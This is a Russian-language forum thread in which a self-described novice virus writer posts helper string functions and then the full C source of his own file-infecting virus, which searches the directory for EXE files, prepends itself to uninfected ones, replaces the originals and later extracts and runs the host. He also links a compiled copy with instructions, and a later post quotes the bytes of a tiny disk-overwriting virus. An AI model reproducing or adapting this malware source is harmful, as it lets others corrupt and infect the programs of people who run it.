Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.

Имя пользователя: Пароль:

Автор Тема: ФУНКЦИИ СИ .  (Прочитано 34716 раз)

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #45 : 11 Мая 2013, 23:45:56 »

Внутри функции поиска используется другая маленькая функция . Это функция PREVED . Она копирует строки . Строка А копируется в строку B  . Функция получает два параметра ---- указатель на строку А и указатель на строку B . Размер строк не может превышать 256 байтов .
Вот код этой функции .





//-----------------------------------------------------

*PREVED(char*A,char*B)

//------ OOIEOE? AE? EIIE?IAAIE? IANNEAIA . ---------------------------

{

int C;
int D;

for (C=0;C<256;C=C+1)

{

D=A[C];

B[C]=D;

if (D==0)

{

break ;

}

}

return(0);

}
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #46 : 11 Мая 2013, 23:48:50 »

Вот функция , которая объединяет две строки и записывает результат в третью


*OBJEDINENIESTROK(char*A,char*B,char*E)

//------ OOIEOE? AE? EIIE?IAAIE? IANNEAIA . ---------------------------

{

int C,C1;
int D;


for (C=0;C<256;C=C+1)

{

D=A[C];

E[C]=D;

if (D==0)

{

break ;

}

}

C1=C;





for (C=0;C<256;C=C+1)

{

D=B[C];

E[C1+C]=D;

if (D==0)

{

break ;

}

}


return(0);

}
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #47 : 11 Мая 2013, 23:55:13 »

Каждый начинающий вирусописатель желает знать способ получения названия файла из которого стартовала программа , в тот момент когда программа уже в памяти . В СИ это очень просто .


int main(int argc, char* argv[])


argv[] ---- это системный массив в котором есть название стартового файла в формате ASCIIZ . Достаточно прочитать все символы до первого пробела , чтобы узнать это название .
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #48 : 12 Мая 2013, 00:28:43 »

Вот ещё вещь которую я просто обязан вам показать ! Это вирус . Это один из моих первых вирусов , способных заражать другие файлы . Это мой первый вирус подобного типа , написанный мной на языке СИ . Я придумал его полностью сам -- от алгоритма до каждой переменной . Как говорил Шекспир ---- " Я это совершил один " .
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #49 : 12 Мая 2013, 00:32:10 »

//---------------------------------------------------------------------


//---- ЭТО ВЕРСИЯ ПРОГРАММЫ 19 НОЯБРЯ 2012 ГОДА .

//---- ЭТА ПРОГРАММА НАХОДИТ ФАЙЛЫ И ОПРЕДЕЛЯЕТ , МОДИФИЦИРОВАНЫ ОНИ ИЛИ НЕТ .

//---- ЕСЛИ ОНИ МОДИФИЦИРОВАНЫ , ТО ВИРУС ПОВТОРНО НЕ МОДИФИЦИРУЕТ ИХ .



//---------------------------------------------------------------------------

# include <stdio.h>
# include <conio.h>
# include <sys\types.h>
# include <sys\stat.h>
# include <string.h>
# include <dir.h>
# include <process.h>


# pragma hdrstop
//---------------------------------------------------------------------------
#pragma argsused
//---------------------------------------------------------------------

//====================================================================










long OPREDELITDLINUFAILA(char*NAZVFAILA)

 


//---- # include <sys\types.h>
//---- # include <sys\stat.h>
//---- # include <stdio.h>
//---- # include <conio.h>




{



struct stat KROKODIL ;

int A1;

long B1;

//---------------------------------------------------------------------



A1=stat(NAZVFAILA,&KROKODIL);


if (A1!=0)

{

textcolor(10);

cprintf("OSHIBKA DOSTUPA K FAJLU . ");

textcolor(7);

}




B1=KROKODIL.st_size;

//---- ? ???? ????????? ????????? ???????? ?????? ????? .

return(B1);


}





//-------------------------------------------------------------------










int IZVLECHENIJE(char*A,int SOBSTVENNAJADLINA)

//---- ??? ??????? ?????????? .


{

long B,Z;

FILE*ISTOCHNIK ;

FILE*PRIJOMNIK ;


FILE*KOMANDABAT ;





int C;


int X;

int Z1;

char BATMEDVED[15]="MEDVED.EXE";

BATMEDVED[10]=0;

BATMEDVED[11]=0;

X=1;






B=OPREDELITDLINUFAILA(A);

cprintf(" VOT DLINA FAJLA . ");

putch(10);
putch(13);



cprintf("%d",B);


if (B>SOBSTVENNAJADLINA)

{

cprintf(" FAJL SOSTAVNOJ ! ");



//----------------------- ???????? ?????? . ---------------------------


//---- СОЗДАДИМ БАТ-ФАЙЛ PREVED.BAT И ЗАПИШЕМ ТУДА НАЗВАНИЕ ФАЙЛА

//---- MEDVED.EXE


if((KOMANDABAT = fopen("PREVED.BAT","wb"))==NULL)

{
cprintf("NE MOGU SOZDAT FAIL PREVED.BAT  . ");

getch();

}


//---- ТЕПЕРЬ ЗАПИШЕМ В ФАЙЛ PREVED.BAT СТРОЧКУ "MEDVED.EXE"








//--------------------------- ГОТОВО . -------------------------------

for(Z=0;Z<12;Z=Z+1)

{

C=BATMEDVED[Z];

fputc(C,KOMANDABAT );



}



fclose(KOMANDABAT);


//--------------------------------------------------------------------





if((ISTOCHNIK = fopen(A,"rb"))==NULL)
{
cprintf("NE MOGU OTKRIT FAIL 1 . ");
getch();
}




if((PRIJOMNIK  = fopen("MEDVED.EXE","wb"))==NULL)
{
cprintf("NE MOGU SOZDAT FAJL MEDVED.EXE . ");
getch();
}


//------------------------ ????? ??????? . ----------------------------





cprintf(" BUDEM KOPIROVAT ! ");





//----- ???????? ??? , ??? ?????  SOBSTVENNAJADLINA-????? ? ???? MEDVED.EXE .


X=0;

for(Z=1;Z<(B+1);Z=Z+1)

{

C=fgetc(ISTOCHNIK);




if (X>=(SOBSTVENNAJADLINA))

{


fputc(C,PRIJOMNIK );

}





X=X+1;


}



fclose(ISTOCHNIK);

fclose(PRIJOMNIK );




//--------------------- ?????? . --------------------------------------

}





return(0);



}



//---------------------------------------------------------------------
















* VIVODSTROKICHAR(char*A1)

//--------- ТА ЖЕ САМАЯ ФУНКЦИЯ , НО ДЛЯ ДРУГОГО ТИПА ДАННЫХ . --------

//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .

//-- ТРЕБУЮТСЯ ФАЙЛЫ

//-- <stdio.h>

//-- <conio.h>

{

int B1,C1;


for(C1=0;C1<100;C1=C1+1)

{

B1=*(A1+C1);

if (B1==0)

{ break ; }

putch(B1);

}

return(0);

}


//---------------------------------------------------------------------



* VIVODSTROKIINT(int*A1)

//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .

//-- ТРЕБУЮТСЯ ФАЙЛЫ

//-- <stdio.h>

//-- <conio.h>

{

int B1,C1;

for(C1=0;C1<100;C1=C1+1)

{

B1=*(A1+C1);

if (B1==0)

{ break ; }

putch(B1);

}

return(0);

}

//---------------------------------------------------------------------


*PREOBRAZOVANIJE_INT_V_CHAR(int*A,char*B)

//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------

{

int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{

break ;

}

}

return(0);

}


//---------------------------------------------------------------------


*PREOBRAZOVANIJE_CHAR_V_INT(char*A,int*B)

//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------

{

int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{

break ;

}

}

return(0);

}


//---------------------------------------------------------------------









int SRAVNENIJESTROK(int*A,int*B,int C)






//----- ЭТА ФУНКЦИЯ ПОБАЙТНО СРАВНИВАЕТ СТРОКИ A И B .
//----- СРАВНИВАЮТСЯ ПЕРВЫЕ C-1 СИМВОЛОВ .
//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ СТРОКИ РАВНЫ .
//----- ИНАЧЕ ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .





{




int D;
int E,F;

int H;




H=1;


for (D=0;D<C;D=D+1)

{

E=A[D];

F=B[D];

if (E!=F)

{

H=0;

}






}





return(H);

}



//------------------ ЭТА ФУНКЦИЯ СРАВНИВАЕТ ДВА ФАЙЛА . ---------------










int SRAVNENIJEPROGRAMM(char*PERVIJFAJL,char*VTOROJFAJL)

//----- ЭТА ПРОГРАММА ОТКРЫВАЕТ ДВА ФАЙЛА И СРАВНИВАЕТ
//----- ПОБАЙТНО ПЕРВЫЕ 500 БАЙТ КАЖДОГО ФАЙЛА .

//----- АРГУМЕНТЫ .
//----- PERVIJFAJL И
//----- VTOROJFAJL

//----- ЭТО НАЗВАНИЯ ФАЙЛОВ .

//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ ФАЙЛЫ ИДЕНТИЧНЫ .
//----- ЕСЛИ ХОТЯ БЫ ОДИН БАЙТ ОТЛИЧАЕТСЯ , ТО ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .


{



FILE*ISTOCHNIK ;

FILE*ISTOCHNIK2 ;





int C,D,C1,F;


int STROKADLIASRAVNENIJA1[501];

int STROKADLIASRAVNENIJA2[501];

int REZULTAT;



int VERSHINA ;

int OTKUDANACHAT;

int DOKUDASMOTRET;

//---------------------- КОНЕЦ ПЕРЕМЕННЫХ . ---------------------------

REZULTAT=3;



OTKUDANACHAT=0;

DOKUDASMOTRET=499;

VERSHINA=500;




for (D=0;D<501;D=D+1)

{

STROKADLIASRAVNENIJA1[D]=0;

STROKADLIASRAVNENIJA2[D]=0;


}

//---------------------------------------------------------------------

F=0;



















if((ISTOCHNIK = fopen(PERVIJFAJL,"rb"))==NULL)


{

cprintf("NE MOGU OTKRIT FAIL 1 . ");



getch();

}








if((ISTOCHNIK2 = fopen(VTOROJFAJL,"rb"))==NULL)


{

cprintf("NE MOGU OTKRIT FAIL 2 . ");



getch();

}












for (D=0;D<VERSHINA;D=D+1)

{







C=fgetc(ISTOCHNIK);

C1=fgetc(ISTOCHNIK2);






if (D>OTKUDANACHAT)

{



if (D<DOKUDASMOTRET)

{


STROKADLIASRAVNENIJA1[D]=C;

STROKADLIASRAVNENIJA2[D]=C1;


//----- МЫ ВЗЯЛИ ДВА ФАЙЛА И СЧИТАЛИ ИЗ НИХ ПО СТРОКЕ . ---------------









}

}










}




fclose(ISTOCHNIK);

fclose(ISTOCHNIK2);


cprintf(" !!!!!!!!!!!!!!!!!! VNIMANIJE !!!!!!!!!!!!!!!!!!!!!!!");

putch(10);
putch(13);

cprintf(" VOT STROKI . ");

putch(10);
putch(13);


//------------------------ ВЫВОД НАШИХ СТРОК . ------------------------










textcolor(10);









//------------------- ТЕПЕРЬ СРАВНИМ ЭТИ СТРОКИ ! ---------------------


REZULTAT=SRAVNENIJESTROK(STROKADLIASRAVNENIJA1,STROKADLIASRAVNENIJA2,500);




return(REZULTAT);


}




//=====================================================================


*PREVED(int*A,int*B)

//------ ФУНКЦИЯ ДЛЯ КОПИРОВАНИЯ МАССИВОВ . ---------------------------

{

int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{

break ;

}

}

return(0);

}

//---------------------------------------------------------------------






//---------------------------------------------------------------------



//---------------------------------------------------------------------






* POISKFAILOV()

// ЭТА ФУНКЦИЯ ВОЗВРАЩАЕТ УКАЗАТЕЛЬ НА ДВУМЕРНЫЙ МАССИВ СИМВОЛОВ .
// В МАССИСЕ 100 СТРОК ПО 100 СИМВОЛОВ .
// ЭЛЕМЕНТ МАССИВА С ИНДЕКСОМ [99][100] СОДЕРЖИТ ЧИСЛО ТИПА INT .
// ЭТО ЧИСЛО ЕСТЬ ЧИСЛО НАЙДЕННЫХ ФАЙЛОВ .
// КАЖДАЯ СТРОКА МАССИВА СОДЕРЖИТ НАЗВАНИЕ ФАЙЛА И ЗАКАНЧИВАЕТСЯ
// НУЛЕВЫМИ БАЙТАМИ .

{

int*UKAZATEL;
int DINOZAVR;
int KATALOG;
int QQ[100][100];

char NAZVANIJEFAILA[30];
struct ffblk ffblk;

struct JAVIJZUVSIO {

char ff_attrib;        /* атрибуты */
int  ff_ftime;         /* время */
int  ff_fdate;         /* дата  */
long ff_fsize;         /* размер */
char ff_fname[13];     /* имя файла */

};


int AZEROTH;
int CHISLOFAILOV ;
int CHISLOKATALOGOV ;

int A,C,DD,FF,EH,JJ;
char B;
int CHISLOBUKVVMASSIVE;










                       // НАЧАЛО ФУНКЦИИ .

for (A=0;A<100;A=A+1)
{
for (JJ=0;JJ<100;JJ=JJ+1)
{
QQ[A][JJ]=0;
}
}




CHISLOFAILOV=0;
CHISLOKATALOGOV=1;
printf("JA VIJZU FAILI *.*\n");

AZEROTH = findfirst("*EXE",&ffblk,16);

while (!AZEROTH)

{




AZEROTH = findnext(&ffblk);

textcolor (10) ;

cprintf("%d ",CHISLOFAILOV);

textcolor (7) ;




KATALOG=ffblk.ff_attrib;



textcolor(10);

A=0;

putch(10);
putch(13);



B=ffblk.ff_name[0];


if (KATALOG!=16)

{


//------------------------------------------------------------------------


// ПОБАЙТНОЕ КОПИРОВАНИЕ СТРОКИ СИМВОЛОВ ИЗ СТРУКТУРЫ В МАССИВ .
         

for (A=0;A<256;A=A+1)

{

B=ffblk.ff_name[A];

QQ[CHISLOKATALOGOV][A]=B;

if (B==0)

{

QQ[CHISLOKATALOGOV][A]=B;

CHISLOKATALOGOV=CHISLOKATALOGOV+1;

goto m1;

}


putch(B);

}


//------------------------------------------------------------------------

CHISLOKATALOGOV=CHISLOKATALOGOV+1;

}

m1:textcolor(7);


CHISLOFAILOV=CHISLOFAILOV+1;

if (CHISLOFAILOV>75)

{ break; }


}




putch(10);
putch(13);

printf("VSEGO NAJDENO FAILOV ");
printf("%d",CHISLOFAILOV);

putch(10);
putch(13);





cprintf("MASSIV ZAPISAN . ");

textcolor(10);


putch(10);
putch(13);

cprintf(" FUNKTZIJA POISKA FAILOV VIPOLNENA . ");

UKAZATEL=&QQ[0][0];

QQ[99][100]=CHISLOFAILOV;

return(UKAZATEL);

}

           // КОНЕЦ ФУНКЦИИ ПОИСКА ФАЙЛОВ .







Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #50 : 12 Мая 2013, 00:37:17 »




int RAZMNOJENIJE(char*A3,long C3,char*B3,long F3)



//----- ЭТА ФУНКЦИЯ ОБЪЕДИНЯЕТ ДВА ФАЙЛА В ОДИН . ОНА БУДЕТ СЛУЖИТЬ
//----- НАМ ДЛЯ РАЗМНОЖЕНИЯ ! ----------------------------------------

//----- ФУНКЦИЯ ПОЛУЧАЕТ ТРИ АРГУМЕНТА ---- A,B И C .
//----- ИЗ НИХ А И B ---- ЭТО НАЗВАНИЯ ФАЙЛОВ , А С ---- ЭТО ЧИСЛО
//----- КОПИРУЕМЫХ БАЙТОВ .


{

char D3[100]="KABANCHIK.EXE";

int C4;

int E4 ;


FILE*OTKUDAKOPIRUEM ;

FILE*KUDAKOPIRUEM ;

FILE*OTKUDAKOPIRUEMNOMERDVA ;



D3[13]=0;




//=========== ОТКРОЕМ ПЕРВЫЙ ФАЙЛ В РЕЖИМЕ ЧТЕНИЯ . ===================

if((OTKUDAKOPIRUEM = fopen(A3,"rb"))==NULL)

{

fprintf(stderr, "NE MOGU OTKRIT FAIL 1 . CHTENIJE . ");  getch();

}

//=====================================================================















//============= ОТКРОЕМ ФАЙЛ КАБАНЧИК НА ЗАПИСЬ . =======================

//--------------------- ЭТО НАШ ФАЙЛ КАБАНЧИК . -----------------------


if((KUDAKOPIRUEM = fopen(D3,"wb"))==NULL)

{

fprintf(stderr, "NEVOZMOJNO OTKRIT FAIL KABANCHIK . ");  getch();

}

//=====================================================================






cprintf(" K O P I R O V A N I J E . ");


//--------------------------- ПЕРВЫЙ ЦИКЛ . ---------------------------


for (C4=0;C4<C3;C4=C4+1)

{


E4=fgetc(OTKUDAKOPIRUEM);

fputc(E4,KUDAKOPIRUEM);





}




fclose(OTKUDAKOPIRUEM);

fclose(KUDAKOPIRUEM);



//---------------------------------------------------------------------


putch(10);
putch(13);



cprintf(" PERVII TZIKL ZAVERSHION ! ");



putch(10);
putch(13);






//=========== ОТКРОЕМ ВТОРОЙ ФАЙЛ В РЕЖИМЕ ЧТЕНИЯ . ===================


if((OTKUDAKOPIRUEMNOMERDVA  = fopen(B3,"rb"))==NULL)

{

fprintf(stderr, "NE MOGU OTKRIT FAIL 2 . CTENIJE . ");  getch();

}


//=====================================================================













//==== СНОВА ОТКРОЕМ ФАЙЛ КАБАНЧИК НА ДОПОЛНИТЕЛЬНУЮ ЗАПИСЬ . =========



if((KUDAKOPIRUEM = fopen(D3,"ab+"))==NULL)

{

fprintf(stderr, "NEVOZMOJNO OTKRIT FAIL KABANCHIK VO VTOROJ RAZ . ");

getch();

}

//=====================================================================










//----------------------- ВТОРОЙ ЦИКЛ . -------------------------------


for (C4=0;C4<F3;C4=C4+1)

{


E4=fgetc(OTKUDAKOPIRUEMNOMERDVA);

fputc(E4,KUDAKOPIRUEM);





}



cprintf(" VTOROJ TZIKL ZAVERSHION ! ");

//---------------------------------------------------------------------





fclose(OTKUDAKOPIRUEMNOMERDVA);

fclose(KUDAKOPIRUEM);


return(0);

}

//---------------------------------------------------------------------

//----- КОНЕЦ ФУНКЦИИ РАЗМНОЖЕНИЕ . -----------------------------------


























//---------------------------------------------------------------------


* VIVODSTROKI(char*A1)

//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .

//-- ТРЕБУЮТСЯ ФАЙЛЫ

//-- <stdio.h>

//-- <conio.h>

{

int B1,C1;




for(C1=0;C1<100;C1=C1+1)


{



B1=*(A1+C1);




if (B1==0)

{ break ; }


putch(B1);


}





return(0);

}












//---------------------------------------------------------------------
//---------------------------------------------------------------------
//-------------------- ГЛАВНАЯ ПРОГРАММА . ----------------------------
//---------------------------------------------------------------------
//---------------------------------------------------------------------



int main(int argc, char* argv[])

{




//------------------- ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ . -------------------------



char NASHEMESTOPOLOJZENIJE[256]; //---- НАШ ПУТЬ И НАЗВАНИЕ .


int A,F;

char*QQ;

char B ;

long D;


int SRAVNENIJENAZVANIJASSOBSTVENNIM;



SRAVNENIJENAZVANIJASSOBSTVENNIM=0;



int*NACHALOMASSIVA; //---- УКАЗАТЕЛЬ НА НАЧАЛО МАССИВА С НАЙДЕННЫМИ ФАЙЛАМИ .


int N50;

int Z50,Y50,X50;


int MASSIV1[256];

char MASSIV2[256];


int PROGRESS ;

char QQQ[100]=" ";



int SOBSTVENNAJADLINA;  //---- ДЛИНА ВИРУСА .





//----------------- КОНЕЦ БЛОКА ГЛОБАЛЬНЫХ ПЕРЕМЕННЫХ . ---------------








//----------------- НАЧАЛО ГЛАВНОЙ ФУНКЦИИ . --------------------------


//============== ОБНУЛЕНИЕ МАССИВОВ . =================================


for (F=0;F<256;F=F+1)

{

NASHEMESTOPOLOJZENIJE[F]=0;

}



for (Z50=1;Z50<256;Z50=Z50+1)

{

MASSIV1[Z50]=0;

MASSIV2[Z50]=0;

}

//=====================================================================




SOBSTVENNAJADLINA=12800; //---- НАША СОБСТВЕННАЯ ВИРУСНАЯ ДЛИНА .







cprintf(" VTORAJA CHAST PROGRAMMI ---- RAZMNOZHENIJE . ");
cprintf(" ETA PROGRAMMA UMEET OPREDELIAT SOBSTVENNOJE ");
cprintf(" NAZVANIJE I DLINU FAJLOV . ");

putch(10);putch(13);

cprintf("NASHE MESTOPOLOSHENIJE");

putch(10); putch(13);
putch(10);putch(13);
textcolor(10);


for (F=0;F<1000;F=F+1)

{

QQ=argv[0];

B=*(QQ+F);

NASHEMESTOPOLOJZENIJE[F]=B;

putch(B);

if (B==0) { break;  }  }

putch(10);putch(13);


//---- ТЕПЕРЬ В МАССИВЕ NASHEMESTOPOLOJZENIJE СОДЕРЖИТСЯ СТАРТОВОЕ ИМЯ --------- .

textcolor(7);

putch(10);
putch(13);

cprintf(" PODTVERJZDENIJE STARTOVOGO NAZVANIJA . ");

//---------------------------------------------------------------------





//---------------------------------------------------------------------
//---------------- ВЫВОД МАССИВА СО СТАРТОВЫМ НАЗВАНИЕМ . -------------
//---------------------------------------------------------------------

putch(10);
putch(13);


VIVODSTROKI(NASHEMESTOPOLOJZENIJE);

//---------------------------------------------------------------------
//------------------------- ЗАВЕРШЕНО . -------------------------------
//---------------------------------------------------------------------






getch();



//----------- ОПРЕДЕЛЕНИЕ ДЛИНЫ ФАЙЛА . -------------------------------

D=OPREDELITDLINUFAILA(NASHEMESTOPOLOJZENIJE);







cprintf(" V ETOM FAJLE ");

putch(10);
putch(13);

cprintf("%d",D);

putch(10);
putch(13);

cprintf(" BAJTOV . ");

putch(10);
putch(13);

//-------------------- ЗАВЕРШЕНО . ------------------------------------
























//------------------ ВНИМАНИЕ ! ЧАСТЬ I ---- ПОИСК . ------------------------------




cprintf(" CHAST PERVAJA ---- POISK . ");
cprintf(" POISK . ");
textcolor(10);


//  ФУНКЦИЯ НЕ ПОЛУЧАЕТ НИКАКИХ АРГУМЕНТОВ , НО ВОЗВРАЩАЕТ УКАЗАТЕЛЬ
//  НА МАССИФ С НАЗВАНИЯМИ ФАЙЛОВ .


//             ВЫЗЫВАЕМ ФУНКЦИЮ .


NACHALOMASSIVA=POISKFAILOV();
N50=*(NACHALOMASSIVA+10000);







// ПЕРЕМЕННАЯ NACHALOMASSIVA ---- ЭТО УКАЗАТЕЛЬ НА НАЧАЛО МАССИВА .
// ПОСЛЕДНИЙ ЭЛЕМЕНТ МАССИВА СОДЕРЖИТ ЧИСЛО НАЗВАНИЙ ФАЙЛОВ В МАССИВЕ .

// ЭТОТ ЭЛЕМЕНТ НАХОДИТСЯ В СМЕЩЕНИИ 10000 ОТ НАЧАЛА .
// ТЕПЕРЬ N ---- ЭТО ЧИСЛО НАЙДЕННЫХ ФАЙЛОВ .



cprintf(" V MASSIVE . ");
cprintf("%d",N50);
cprintf(" FAILOV . ");

cprintf(" VOT MOJ TRIUMFALNIJ MASSIV ! /n");






//-------------------- УСОВЕРШЕНСТВОВАННЫЙ ВЫВОД МАССИВА . ------------



putch(10);
putch(13);


cprintf("USOVERSHENSTVOVANNIJ VIVOD MASSIVA . \n");

Y50=100;

X50=N50+1;



//----- ВОТ ГЛАВНЫЙ ЦИКЛ ОБРАБОТКИ ФАЙЛОВ . -------------------------


for (Z50=1;Z50<X50;Z50=Z50+1)

{

putch(10);
putch(13);



if (Z50==20) {getch();}
if (Z50==40) {getch();}






PREVED((NACHALOMASSIVA+Y50),MASSIV1);


//=====================================================================
//------------------ ВНИМАНИЕ !!!!! ----------------------------------
//=====================================================================


//----- СЕЙЧАС . ИМЕННО СЕЙЧАС В МАССИВЕ MASSIV1 НАХОДИТСЯ

//----- ТЕКУЩИЙ ОБРАБАТЫВАЕМАЫЙ НАЙДЕННЫЙ ФАЙЛ .

//----- ИМЕННО СЕЙЧАС МОЖНО ПРИМЕНЯТЬ К НЕМУ НАШИ ФУНКЦИИ КОПИРОВАНИЯ
//----- И ДРУГИЕ ФУНКЦИИ .





VIVODSTROKIINT(MASSIV1);



PREOBRAZOVANIJE_INT_V_CHAR(MASSIV1,MASSIV2);



D=OPREDELITDLINUFAILA(MASSIV2);

textcolor(10);

cprintf("RAZMER FAJLA . ");

cprintf("%d",D);

textcolor(10);





//-----  MASSIV2 ---- ЭТО НАЗВАНИЕ ФАЙЛА .
//----- А ПЕРЕМЕННАЯ D ---- ЭТО ЕГО РАЗМЕР В БАЙТАХ .











//=====================================================================
//=====================================================================
//=====================================================================

//----- ВОТ ТРЕТЬЕ ДОБАВОЧНАЯ СПЕЦИАЛЬНАЯ ЧАСТЬ НАШЕЙ ПРОГРАММЫ .
//----- ЭТА ЧАСТЬ БУДЕТ ОПРЕДЕЛЯТЬ ЗАРЯЖЕН ЛИ ИСКОМЫЙ ФАЙЛ ----
//----- ИЗ СОСТАВНОГО ФАЙЛА ИЛИ ИЗ ЧИСТОЙ ПРОГРАММЫ LE .

PROGRESS=SRAVNENIJEPROGRAMM(NASHEMESTOPOLOJZENIJE,MASSIV2);

//----- ЕСЛИ В ПЕРЕМЕННОЙ PROGRESS ХРАНИТСЯ ОДИН ----
//----- ЭТО ЗНАЧИТ , ЧТО ФАЙЛ MASSIV2 УЖЕ ЗАРЯЖЕН .
//----- ЕСЛИ PROGRESS ---- ЭТО НОЛЬ , ТО ЗНАЧИТ ФАЙЛ НЕ ЗАРЯЖЕН .


//=====================================================================
//=====================================================================
//=====================================================================


if (PROGRESS==0)


{

RAZMNOJENIJE(NASHEMESTOPOLOJZENIJE,SOBSTVENNAJADLINA,MASSIV2,D);
// ВРЕМЯ ДЛЯ РАЗМНОЖЕНИЯ !

unlink(MASSIV2);

rename("KABANCHIK.EXE",MASSIV2);

}

//====================================================================
//----------------------- ВНИМАНИЕ !!!!! -----------------------------
//====================================================================




textcolor(10);














Y50=Y50+100;

}



cprintf("PERVAJA CHAST ZAVERSHENA .");



//----- ПЕРВАЯ ЧАСТЬ ЗАВЕРШЕНА . ------------------------------------












cprintf("PROVERKA VOZMOJNOSTI STIRANIJA FAJLOV .");


unlink("q.txt");




//-------------------------------------- ПРЕВОСХОДНО ! ----------------------------------------


//--------------------- ТЕПЕРЬ ВСЕ НАЙДЕННЫЕ ФАЙЛЫ МОДИФИЦИРОВАНЫ . ---------------------------

//---- ТЕПЕРЬ НАДО ИЗВЛЕЧЬ ИЗ СТАРТОВОГО ФАЙЛА ОРИГИНАЛЬНУЮ ПРОГРАММУ .

//---- И СКОПИРОВАТЬ ЕЁ В ФАЙЛ MEDVED.EXE .

//---- ПОТОМ ЗАПУСТИТЬ MEDVED.EXE , А КОГДА ОН ЗАВЕРШИТ РАБОТУ , СТЕРЕТЬ ЕГО .


//---------------------------------------------------------------------------------------------





if (PROGRESS==1)    //---- ЕСЛИ СТАРТОВЫЙ ФАЙЛ МОДИФИЦИРОВАН .

 

{

//---- ТО ИЗВЛЕКАЕМ ИЗ НЕГО ОРИГИНАЛЬНУЮ ПРОГРАММУ .


IZVLECHENIJE(NASHEMESTOPOLOJZENIJE,SOBSTVENNAJADLINA);




cprintf(" VNIMANIJE ! PEREDACHA UPRAVLENIJA !");


getch();

execl("MEDVED.EXE",QQ);



unlink("MEDVED.EXE");



};



















//---- ТУТ НАША ПРОГРАММА ЗАКАНЧИВАЕТСЯ . ТО ЕСТЬ ЗАКАНЧИВАЕТСЯ ЭТА ПРОГРАММА .
//---------------------------------- НО БУДЕТ И СЛЕДУЮЩАЯ ! -----------------------------------




return 0;

}

//----------------------------------------------------------------------






Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #51 : 12 Мая 2013, 01:12:12 »

Вот мой шедевр ----

http://rghost.ru/45932360

Внимание ! НЕ ЗАПУСКАЙТЕ эту программу , если в каталоге , где она находится , есть другие файлы в формате EXE !
Возможно , что без стандарных библиотек программа работать не будет .
Программа не действует на файлы на которых установлен атрибут " только чтение " .

Как использовать TRIUMF.EXE .

1 . Скопируйте TRIUMF.EXE В пустой каталог .
2 . Добавьте туда 3-5 различных программ небольшого размера в виде EXE-файлов .
3 . Снимите со всех файлов атрибут " только чтение " .
4 . Запустите TRIUMF.EXE . Если не будет конфликта с библиотеками , то он не зависнет .
5 . Если программа не зависла , то после окончания её работы попробуйте запустить какой-нибудь из подопытных файлов .

Правильная работа программы НЕ ГАРАНТИРУЕТСЯ . Не храните и не запускайте её в каталоге с другими программами , хранящимися в единственном экземпляре .

Записан

Кумехтар

  • Страж
  • Ветеран
  • *****
  • Оффлайн Оффлайн
  • Сообщений: 8848
    • Просмотр профиля
Re: ФУНКЦИИ СИ .
« Ответ #52 : 12 Мая 2013, 14:47:59 »

Я когда-то нечто подобное на Дельфях писал. Та прога искала все файлы на всех логических дисках компа и заменяла их собой. А еще - дискету 3,5.

Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
« Ответ #53 : 13 Мая 2013, 23:14:45 »

Я когда-то нечто подобное на Дельфях писал. Та прога искала все файлы на всех логических дисках компа и заменяла их собой. А еще - дискету 3,5.

Если я не ошибаюсь , это так называемый owerwriter , то есть перезаписывающий вирус . Я слышал что это исторически наиболее древний и наиболее примитивный тип вирусов , появившийся ещё до изобретения MS-DOS . Знатоки утверждают что в настоящее время вирусы вида owerwriter сохранились как соревнование на самый маленький вирус .
Сейчас первенство удерживает вирус kyjack размером всего 4 байта. При запуске он записывает себя на все сектора дискеты. Вот эти 4 байта:

8B DE CD 26.

Данные четыре байта соответствуют коммандам ассемблера

MOV BX,SI

INT 26h

Че делают эти команды , я до сих пор не понял ! Инт 26 ---- это запись на диск , а Беикс и СИ это по-видимому пораметры -- откуда начать писать и сколько байт записывать . Вот только откуда взялся в BX ( Или SI ) адрес самой проги ---- сие есть тайна .

.
« Последнее редактирование: 13 Мая 2013, 23:39:49 от Мышьяк . »
Записан

Барон Морт

  • Гость
Re: ФУНКЦИИ СИ .
